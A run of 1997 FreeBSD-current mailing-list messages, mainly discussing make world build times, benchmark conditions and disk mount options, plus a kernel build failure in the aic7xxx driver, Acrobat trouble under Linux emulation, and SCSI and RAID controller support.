"Jordan K. Hubbard" at "Nov 16, 97 09:27:13 pm" To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Mon, 17 Nov 1997 08:32:10 +0100 (MET) Cc: hasty@rah.star-gate.com, toor@dyson.iquest.net, sprice@hiwaay.net, smp@csn.net, current@FreeBSD.ORG From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Jordan K. Hubbard who wrote: > > I've definitely noticed, with my dual P6/233 (and yes Virginia, > it is possible to overclock a P6/180 to a P6/233 if you have > good fans and some luck :), that things are primarily *I/O* > bound, not CPU bound, with my single IBM DCAS 4.3 GB drive > (these are 5400 RPM and not quite speed demons). On a > machine with /usr/src and /usr/obj mounted on a 5 drive > (Quantum 2GB) CCD array, I can shave as much as 40 minutes > off the world build just on a uniprocessor P6/200, which > is definitely food for thought. Same observation here, I just went dual on my P6 system, and it hardly got any better in a make world. I notice that it spends ALOT of its time in system, so our megalock might be the culprit... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Sun Nov 16 23:45:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20287 for current-outgoing; Sun, 16 Nov 1997 23:45:18 -0800 (PST) (envelope-from owner-freebsd-current) Received: from venus.GAIANET.NET (vince@[207.211.200.27]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20279 for ; Sun, 16 Nov 1997 23:45:14 -0800 (PST) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.8.5/8.8.7) with SMTP id XAA05396 for ; Sun, 16 Nov 1997 23:45:44 -0800 (PST) (envelope-from vince@venus.GAIANET.NET) Date: Sun, 16 Nov 1997 23:45:44 -0800 (PST) From: Vincent Poy To: current@FreeBSD.ORG Subject: -current kernel build fail Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings everyone, After doing a make world with the most recent -current 11/16/97 6PM, the kernel build seems to fail on the following on machines with Intel Pentium CPU's. It builds fine on the K6-200 machine. All hardware is identical except for the CPU. cc -c -O -Wreturn-type -Wcomment -Wredundant-decls -Wimplicit -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wuninitialized -nostdinc -I- -I. -I../.. -I../../../include -DMD5 -DFAILSAFE -DCOMPAT_43 -DMSDOSFS -DNFS -DFFS -DINET -DKERNEL -include opt_global.h ../../nfs/nfs_vnops.c make -f ../../dev/aic7xxx/Makefile MAKESRCPATH=../../dev/aic7xxx Warning: Object directory not changed from original /usr/src/sys/compile/MERCURY yacc -d ../../dev/aic7xxx/aicasm_gram.y mv y.tab.c aicasm_gram.c cc -O -I. -c aicasm_gram.c lex -t ../../dev/aic7xxx/aicasm_scan.l > aicasm_scan.c cc -O -I. -c aicasm_scan.c ../../dev/aic7xxx/aicasm_scan.l: In function `yylex': ../../dev/aic7xxx/aicasm_scan.l:69: `T_DOWNLOAD' undeclared (first use this function) ../../dev/aic7xxx/aicasm_scan.l:69: (Each undeclared identifier is reported only once ../../dev/aic7xxx/aicasm_scan.l:69: for each function it appears in.) *** Error code 1 Stop. *** Error code 1 Stop. root@mercury [11:40pm][/usr/src/sys/compile/MERCURY] >> Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] From owner-freebsd-current Sun Nov 16 23:45:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20327 for current-outgoing; Sun, 16 Nov 1997 23:45:32 -0800 (PST) (envelope-from owner-freebsd-current) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20320 for ; Sun, 16 Nov 1997 23:45:29 -0800 (PST) (envelope-from bruce@zuhause.mn.org) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id BAA18091 for freebsd-current@freebsd.org; Mon, 17 Nov 1997 01:45:28 -0600 (CST) Received: (from bruce@localhost) by zuhause.mn.org (8.8.7/8.8.7) id BAA03677; Mon, 17 Nov 1997 01:37:35 -0600 (CST) Date: Mon, 17 Nov 1997 01:37:35 -0600 (CST) Message-Id: <199711170737.BAA03677@zuhause.mn.org> From: Bruce Albrecht To: freebsd-current@freebsd.org Subject: Acrobat problems? X-Mailer: VM 6.34 under 19.16 "New York" XEmacs Lucid Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on -current? When I run 3.0, Acrobat tells me that it's trapped a segfault on every pdf file I try, and 3.01 doesn't segfault, but the display is all messed up. I'm running SMP from around 10/27, and here are my linux libraries: -rwxr-xr-x 2 root wheel 21367 Oct 25 1996 ld-linux.so.1 -rwxr-xr-x 2 root wheel 21367 Oct 25 1996 ld-linux.so.1.7.14 -rwxr-xr-x 2 root wheel 24580 Oct 25 1996 ld.so -rwxr-xr-x 2 root wheel 24580 Oct 25 1996 ld.so.1.7.14 lrwxrwxrwx 1 root wheel 14 Oct 25 17:00 libc.so.5 -> libc.so.5.3.12 -rwxr-xr-x 1 root wheel 705995 Oct 25 1996 libc.so.5.3.12 lrwxrwxrwx 1 root wheel 15 May 3 1997 libdl.so -> libdl.so.1.7.14 lrwxrwxrwx 1 root wheel 15 May 3 1997 libdl.so.1 -> libdl.so.1.7.14 -rwxr-xr-x 1 root wheel 6983 Oct 25 1996 libdl.so.1.7.14 lrwxrwxrwx 1 root wheel 15 May 3 1997 libfbm.so -> libfbm.so.1.0.0 lrwxrwxrwx 1 root wheel 15 May 3 1997 libfbm.so.1 -> libfbm.so.1.0.0 -rwxr-xr-x 1 root wheel 72053 Oct 25 1996 libfbm.so.1.0.0 lrwxrwxrwx 1 root wheel 13 Oct 25 16:43 libm.so.5 -> libm.so.5.0.8 -rwxr-xr-x 1 root wheel 36084 Oct 25 1996 libm.so.5.0.6 -rwxr-xr-x 1 root wheel 76697 Apr 10 1997 libm.so.5.0.8 lrwxrwxrwx 1 root wheel 19 May 3 1997 libtermcap.so.2 -> libtermcap.so.2.0.8 -rwxr-xr-x 1 root wheel 11925 Oct 25 1996 libtermcap.so.2.0.8 -rwxr-xr-x 1 root wheel 1861963 Apr 10 1997 xlibc.so.5.4.23 From owner-freebsd-current Sun Nov 16 23:48:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20527 for current-outgoing; Sun, 16 Nov 1997 23:48:22 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20522 for ; Sun, 16 Nov 1997 23:48:19 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id XAA03977; Sun, 16 Nov 1997 23:48:09 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Sun, 16 Nov 1997 23:48:09 -0800 (PST) From: logue To: Ian Struble cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 16 Nov 1997, Ian Struble wrote: > I just built a dual PP200 that I was going to burnin by doing a few dozen make > worlds on before sending it out, but alas I only had a buslogic PCI SCSI for > the system drives ;( The I/O would have been sweet too because it has a DAC960 > raid controller with 32megs of cache and 5 x 4.5gigs worth of raid 0,1 or 5. I > was really bummed when I saw the buslogic and couldn't get my hands on a 2940. Whats up with BusLogic SCSI controllers? I haven't had anything but good luck with my BT-956C, however, syncronous negotiation isn't supported by the driver? -STEVEl From owner-freebsd-current Mon Nov 17 00:12:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA22040 for current-outgoing; Mon, 17 Nov 1997 00:12:53 -0800 (PST) (envelope-from owner-freebsd-current) Received: from www.giovannelli.it (www.giovannelli.it [194.184.65.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA22018 for ; Mon, 17 Nov 1997 00:12:48 -0800 (PST) (envelope-from gmarco@giovannelli.it) Received: from giovannelli.it (ts3port9d.masternet.it [194.184.65.173]) by www.giovannelli.it (8.8.7/8.8.5) with ESMTP id JAA00303 for ; Mon, 17 Nov 1997 09:17:29 +0100 (MET) Message-ID: <34700A4E.8344E4D8@giovannelli.it> Date: Mon, 17 Nov 1997 09:11:42 +0000 From: Gianmarco Giovannelli Reply-To: gmarco@giovannelli.it X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: current@freebsd.org Subject: Re: make world time???/ References: <199711170121.RAA00618@rah.star-gate.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk After reading a lot of messages on this topic I contribute with my own :-) My system is a 233mhz AMD K6, with A2940UW, 64mb ram (2 32mb sdram)and 2 quantum as HD: ahc0: rev 0x00 int a irq 11 on pci0.12.0 ahc0: aic7880 Wide Channel, SCSI Id=7, 16 SCBs scbus0 at ahc0 bus 0 sd0 at scbus0 target 0 lun 0 sd0: type 0 fixed SCSI 2 sd0: Direct-Access 4341MB (8890760 512 byte sectors) sd1 at scbus0 target 1 lun 0 sd1: type 0 fixed SCSI 2 sd1: Direct-Access 4341MB (8890760 512 byte sectors) I do only "make world" (3.0-current) and I am stable on 1 hour and 47-51minutes depending ... (verified with tcsh built-in time) /usr and /src mounted async noatime on the same disk (the other one is win95:-), CFLAGS= -O -pipe in make.conf and I have tried -j4 once too (as someone suggests). A few considerations: For my configuration the big difference is only the async, infact with the other options turned on/off I gain/loose nothing important... even if I launch it from an xterm (under Xaccel 4.1) or in the console... I don't know if it can be possible, but it is a fact... Any suggestions ? Tips ? -- Regards... Gianmarco "Unix expert since yesterday" http://www2.masternet.it From owner-freebsd-current Mon Nov 17 01:18:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA26704 for current-outgoing; Mon, 17 Nov 1997 01:18:16 -0800 (PST) (envelope-from owner-freebsd-current) Received: from logues.rhn.orst.edu (logues.RHN.ORST.EDU [128.193.137.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA26695 for ; Mon, 17 Nov 1997 01:18:12 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Received: from localhost (logue@localhost) by logues.rhn.orst.edu (8.8.8/8.8.8) with SMTP id BAA04431 for ; Mon, 17 Nov 1997 01:18:11 -0800 (PST) (envelope-from logue@logues.rhn.orst.edu) Date: Mon, 17 Nov 1997 01:18:11 -0800 (PST) From: logue To: current@FreeBSD.ORG Subject: Adaptec AAA-130 Series In-Reply-To: <34700A4E.8344E4D8@giovannelli.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello, Are there any plans to support the Adaptec AAA-131/AAA-133 PCI RAID adapters? The price is right, they've got to be faster/simpler than CCD so if they'll work soon under FreeBSD, then I'll buy one. Yes DPT is nice, but too expensive. -STEVEl From owner-freebsd-current Mon Nov 17 02:25:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA00530 for current-outgoing; Mon, 17 Nov 1997 02:25:25 -0800 (PST) (envelope-from owner-freebsd-current) Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA00521 for ; Mon, 17 Nov 1997 02:25:22 -0800 (PST) (envelope-from rb@gid.co.uk) Received: from gid.co.uk (uucp@localhost) by isbalham.ist.co.uk (8.8.4/8.8.4) with UUCP id KAA23437 for FreeBSD.ORG!current; Mon, 17 Nov 1997 10:19:55 GMT Received: from [194.32.164.2] by seagoon.gid.co.uk; Mon, 17 Nov 1997 10:08:40 GMT X-Sender: rb@194.32.164.1 Message-Id: In-Reply-To: <199711170702.CAA01379@earth.mat.net> References: <199711170609.XAA17969@Ilsa.StevesCafe.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 17 Nov 1997 10:07:50 +0000 To: current@FreeBSD.ORG From: Bob Bishop Subject: Re: make world time???/ Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >[Various people on what should comprise the definitive worldstone...] Unless everyone has identical configurations (which would kinda miss the point), it's not going to be possible to level the playing field. Eg: - -pipe and/or -jx don't help unless you have enough real memory - multiple spindles seem to help a lot: I got well under 2h (not accurately timed, unfortunately) burning in a K6-200 with 2x4.4G Quantum Atlas on a 2940UW - do the rules allow turning off daemons to free up memory while building? Also, the target time (whatever that is) is going to change over time. I've seeing significant changes in build time on the same machine with the same options over a period of months: I may post something on this subject. -- Bob Bishop (0118) 977 4017 international code +44 118 rb@gid.co.uk fax (0118) 989 4254 between 0800 and 1800 UK From owner-freebsd-current Mon Nov 17 03:19:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03499 for current-outgoing; Mon, 17 Nov 1997 03:19:54 -0800 (PST) (envelope-from owner-freebsd-current) Received: from probity.mcc.ac.uk (probity.mcc.ac.uk [130.88.200.94]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id DAA03480 for ; Mon, 17 Nov 1997 03:19:47 -0800 (PST) (envelope-from ip@albatross.mcc.ac.uk) Received: from albatross.mcc.ac.uk [130.88.202.16] by probity.mcc.ac.uk with esmtp (Exim 1.73 #3) id 0xXPDB-0001yG-00; Mon, 17 Nov 1997 11:19:25 +0000 Received: (from ip@localhost) by albatross.mcc.ac.uk (8.8.7/8.8.4) id LAA01356; Mon, 17 Nov 1997 11:19:25 GMT From: Ian Pallfreeman Message-Id: <199711171119.LAA01356@albatross.mcc.ac.uk> Subject: Re: -current kernel build fail In-Reply-To: from Vincent Poy at "Nov 16, 97 11:45:44 pm" To: vince@venus.GAIANET.NET (Vincent Poy) Date: Mon, 17 Nov 1997 11:19:25 +0000 (GMT) Cc: current@freebsd.org Reply-To: ip@mcc.ac.uk X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Vincent Poy wrote: > After doing a make world with the most recent -current 11/16/97 > 6PM, the kernel build seems to fail on the following on machines with > Intel Pentium CPU's. It builds fine on the K6-200 machine. All hardware > is identical except for the CPU. > [...] > ../../dev/aic7xxx/aicasm_scan.l: In function `yylex': > ../../dev/aic7xxx/aicasm_scan.l:69: `T_DOWNLOAD' undeclared (first use > this function) Seen this on several machines. Look in /sys/dev/aic7xxx for a bunch of antique files (including y.tab.c) which need removing first. Ian. From owner-freebsd-current Mon Nov 17 03:26:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03837 for current-outgoing; Mon, 17 Nov 1997 03:26:42 -0800 (PST) (envelope-from owner-freebsd-current) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA03830 for ; Mon, 17 Nov 1997 03:26:38 -0800 (PST) (envelope-from sprice@hiwaay.net) Received: from bonsai.hiwaay.net (tnt2-119.HiWAAY.net [208.147.148.119]) by fly.HiWAAY.net (8.8.7/8.8.6) with SMTP id FAA20477; Mon, 17 Nov 1997 05:26:23 -0600 (CST) Message-ID: <34702A14.2781E494@hiwaay.net> Date: Mon, 17 Nov 1997 05:27:16 -0600 From: Steve Price X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: chuckr@glue.umd.edu CC: current@FreeBSD.org Subject: Re: make world time???/ References: <199711170702.CAA01379@earth.mat.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk chuckr@glue.umd.edu wrote: > > Little bit more, please.... does the /usr/obj already exist? Takes > some time to actually make all those dirs, so that has to be taken into > account either by destroying /usr/obj or specifying it exists, but that > a make clean/cleandepend is done. > Steps made in my case are as follows: cvsup -L 2 -g supfile.cvsup cd /usr/src cvs -q update -PAd make cleandir && make -k world So I started with a fresh tree and built everything. > Do we leave placement of /usr/src and /usr/obj to the tester? Faster > on different disks, I think. > It is definitely seems faster from different disks. I had /usr/src on wd1 and /usr/obj symlinked to /tmp/obj on wd0. I think the true test (benchmark) should be all on one disk, since most machines that are bought off the shelf only have one disk. > How about mounting of /usr/obj? Even if we don't force these things, > we must say that they are free variables, so people know the conditions. > Both drives in my case were mounted synchronous. I think this needs to be the case since most newbies don't know about the async flag and mount defaults to !async in the absense of flags. So here's my vote for the benchmark standard: /usr/src and /usr/obj on one disk with !async CFLAGS=-O -pipe make cleandir && make world Or as Simon Shapiro pointed out, start with the lowest common denominator, throw in some options, and see how much things improve. Just my two cents, Steve > Sounds like building a nice benchmark .... > > -- > ----------------------------+----------------------------------------------- > Chuck Robey | Interests include any kind of voice or data > chuckr@glue.umd.edu | communications topic, C programming, and Unix. > 213 Lakeside Drive Apt T-1 | > Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD > (301) 220-2114 | version 3.0 current -- and great FUN! > ----------------------------+----------------------------------------------- From owner-freebsd-current Mon Nov 17 04:09:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA06264 for current-outgoing; Mon, 17 Nov 1997 04:09:07 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ns1.yes.no (ns1.yes.no [195.119.24.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA06253 for ; Mon, 17 Nov 1997 04:08:59 -0800 (PST) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by ns1.yes.no (8.8.7/8.8.7) with ESMTP id MAA00484; Mon, 17 Nov 1997 12:08:46 GMT Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id NAA06592; Mon, 17 Nov 1997 13:08:45 +0100 (MET) Date: Mon, 17 Nov 1997 13:08:45 +0100 (MET) Message-Id: <199711171208.NAA06592@bitbox.follo.net> From: Eivind Eklund To: Simon Shapiro CC: hasty@rah.star-gate.com, current@FreeBSD.ORG, smp@csn.net, sprice@hiwaay.net, toor@dyson.iquest.net In-reply-to: Simon Shapiro's message of Sun, 16 Nov 1997 21:52:30 -0800 (PST) Subject: Re: make world time???/ References: <199711170121.RAA00618@rah.star-gate.com> Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Hi Amancio Hasty; On 17-Nov-97 you wrote: > > Hmm... > > > > I do a make world in about 75 minutes -- I just didn't do profiled > > libraries. > > Correct me if I am wrong, but the pupose here is not to finish make world > in short time. I have seen sub-minute before :-) A 'make world' including what? Eivind. From owner-freebsd-current Mon Nov 17 05:15:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA10062 for current-outgoing; Mon, 17 Nov 1997 05:15:55 -0800 (PST) (envelope-from owner-freebsd-current) Received: from venus.GAIANET.NET (vince@venus.GAIANET.NET [207.211.200.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA10057 for ; Mon, 17 Nov 1997 05:15:52 -0800 (PST) (envelope-from vince@venus.GAIANET.NET) Received: from localhost (vince@localhost) by venus.GAIANET.NET (8.8.7/8.8.7) with SMTP id FAA01166; Mon, 17 Nov 1997 05:14:29 -0800 (PST) (envelope-from vince@venus.GAIANET.NET) Date: Mon, 17 Nov 1997 05:14:29 -0800 (PST) From: Vincent Poy To: ip@mcc.ac.uk cc: current@FreeBSD.ORG Subject: Re: -current kernel build fail In-Reply-To: <199711171119.LAA01356@albatross.mcc.ac.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 17 Nov 1997, Ian Pallfreeman wrote: > Vincent Poy wrote: > > > After doing a make world with the most recent -current 11/16/97 > > 6PM, the kernel build seems to fail on the following on machines with > > Intel Pentium CPU's. It builds fine on the K6-200 machine. All hardware > > is identical except for the CPU. > > [...] > > ../../dev/aic7xxx/aicasm_scan.l: In function `yylex': > > ../../dev/aic7xxx/aicasm_scan.l:69: `T_DOWNLOAD' undeclared (first use > > this function) > > Seen this on several machines. > > Look in /sys/dev/aic7xxx for a bunch of antique files (including y.tab.c) > which need removing first. Thanks, it seems that for one reason or another, cvsup picked it up on the other machines but just not on these two. Cheers, Vince - vince@MCESTATE.COM - vince@GAIANET.NET ________ __ ____ Unix Networking Operations - FreeBSD-Real Unix for Free / / / / | / |[__ ] GaiaNet Corporation - M & C Estate / / / / | / | __] ] Beverly Hills, California USA 90210 / / / / / |/ / | __] ] HongKong Stars/Gravis UltraSound Mailing Lists Admin /_/_/_/_/|___/|_|[____] From owner-freebsd-current Mon Nov 17 07:47:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA19260 for current-outgoing; Mon, 17 Nov 1997 07:47:23 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ady.warp.starnets.ro (ady.warp.starnets.ro [193.226.124.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA19244; Mon, 17 Nov 1997 07:47:12 -0800 (PST) (envelope-from ady@warp.starnets.ro) Received: from localhost (ady@localhost) by ady.warp.starnets.ro (8.8.6/8.8.6) with SMTP id RAA06891; Mon, 17 Nov 1997 17:46:42 +0200 (EET) Date: Mon, 17 Nov 1997 17:46:41 +0200 (EET) From: Penisoara Adrian To: freebsd-smp@FreeBSD.ORG, freebsd-current@FreeBSD.ORG Subject: Experience with 3.0-971022-SNAP ?? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, Did anyone experience any unusual behaviors with 3.0-971022-SNAP ? I'll go for installing this SNAP on a *production server* tomorrow (I'll get the binaries this night) and I'd like to know if there are any kind of problems with it (I specially care for the AIC7XXX and netwoking stuff). TIA, Ady (@warp.starnets.ro) From owner-freebsd-current Mon Nov 17 08:45:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA22992 for current-outgoing; Mon, 17 Nov 1997 08:45:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mail.micon.dk ([194.192.112.50]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA22977 for ; Mon, 17 Nov 1997 08:45:04 -0800 (PST) (envelope-from npp@neg-micon.dk) Received: by mail.micon.dk(Lotus SMTP MTA v1.1 (385.6 5-6-1997)) id 41256552.005E0E50 ; Mon, 17 Nov 1997 18:07:20 +0100 X-Lotus-FromDomain: NEG MICON From: "Nicolai Petri" To: current@FreeBSD.ORG Message-ID: <41256552.0048809B.00@mail.micon.dk> Date: Mon, 17 Nov 1997 14:22:51 +0100 Subject: async fs? Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Greetings All, I read something about mounting a drive in async mode, I wondered if this will give me a performance increase on my proxy server.. And is it possible to do it on all filesystems ?? CyberDuck From owner-freebsd-current Mon Nov 17 08:53:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA23555 for current-outgoing; Mon, 17 Nov 1997 08:53:10 -0800 (PST) (envelope-from owner-freebsd-current) Received: from Ilsa.StevesCafe.com (Ilsa.StevesCafe.com [205.168.119.129]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA23547 for ; Mon, 17 Nov 1997 08:53:06 -0800 (PST) (envelope-from fbsd@Ilsa.StevesCafe.com) Received: from Ilsa.StevesCafe.com (localhost [127.0.0.1]) by Ilsa.StevesCafe.com (8.8.7/8.8.5) with ESMTP id JAA19908; Mon, 17 Nov 1997 09:52:54 -0700 (MST) Message-Id: <199711171652.JAA19908@Ilsa.StevesCafe.com> X-Mailer: exmh version 2.0gamma 1/27/96 From: Steve Passe To: Steve Price cc: chuckr@glue.umd.edu, current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Mon, 17 Nov 1997 05:27:16 CST." <34702A14.2781E494@hiwaay.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 17 Nov 1997 09:52:54 -0700 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, > So here's my vote for the benchmark standard: > > /usr/src and /usr/obj on one disk with !async we might need 2 classes, here, single disk, mounted sync, and dual disks, /usr/src mounted noatime, /usr/obj mounted async, noatime. --- > CFLAGS=-O -pipe > make cleandir && make world I *really* would like to see the target be "make buildworld". The "make install" portion doesn't have much to do with the variabilities of the overall times, and I don't want to do six make worlds (ie make installs) in a row on my development systems. "make buildworld" is safe, even when we have major breakage in the source tree, but obviously "make install" isn't! -- Steve Passe | powered by smp@csn.net | Symmetric MultiProcessor FreeBSD From owner-freebsd-current Mon Nov 17 09:20:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA25183 for current-outgoing; Mon, 17 Nov 1997 09:20:07 -0800 (PST) (envelope-from owner-freebsd-current) Received: from fly.HiWAAY.net (sprice@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA25112 for ; Mon, 17 Nov 1997 09:20:00 -0800 (PST) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by fly.HiWAAY.net (8.8.7/8.8.6) with SMTP id LAA26025; Mon, 17 Nov 1997 11:17:50 -0600 (CST) Date: Mon, 17 Nov 1997 11:17:50 -0600 (CST) From: Steve Price To: Steve Passe cc: chuckr@glue.umd.edu, current@FreeBSD.ORG Subject: Re: make world time???/ In-Reply-To: <199711171652.JAA19908@Ilsa.StevesCafe.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 17 Nov 1997, Steve Passe wrote: # Hi, # # we might need 2 classes, here, single disk, mounted sync, and dual disks, # /usr/src mounted noatime, /usr/obj mounted async, noatime. # I agree we need several different classes. What I was suggesting was just a baseline that most everybody that using FreeBSD can relate to. Let's face it you have to have at least have one disk somewhere even the diskless workstation case. :) # I *really* would like to see the target be "make buildworld". The # "make install" portion doesn't have much to do with the variabilities of the # overall times, and I don't want to do six make worlds (ie make installs) # in a row on my development systems. "make buildworld" is safe, even when # we have major breakage in the source tree, but obviously "make install" isn't! # Very good point and exactly the reason I always run with 'make -k ...'. In this case though, 'grep remade make-world.log' turned up nothing so the tree did build entirely. Steve # -- # Steve Passe | powered by # smp@csn.net | Symmetric MultiProcessor FreeBSD # # # From owner-freebsd-current Mon Nov 17 09:20:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA25257 for current-outgoing; Mon, 17 Nov 1997 09:20:56 -0800 (PST) (envelope-from owner-freebsd-current) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA25241 for ; Mon, 17 Nov 1997 09:20:45 -0800 (PST) (envelope-from chuckr@picnic.mat.net) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by earth.mat.net (8.8.8/8.6.12) with ESMTP id MAA28140; Mon, 17 Nov 1997 12:20:30 -0500 (EST) Message-Id: <199711171720.MAA28140@earth.mat.net> Date: Mon, 17 Nov 1997 12:20:30 -0500 (EST) From: chuckr@glue.umd.edu Subject: Re: make world time???/ To: smp@csn.net cc: current@FreeBSD.ORG In-Reply-To: <199711171652.JAA19908@Ilsa.StevesCafe.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 17 Nov, Steve Passe wrote: > Hi, > >> So here's my vote for the benchmark standard: >> >> /usr/src and /usr/obj on one disk with !async > > we might need 2 classes, here, single disk, mounted sync, and dual disks, > /usr/src mounted noatime, /usr/obj mounted async, noatime. > > --- >> CFLAGS=-O -pipe >> make cleandir && make world > > I 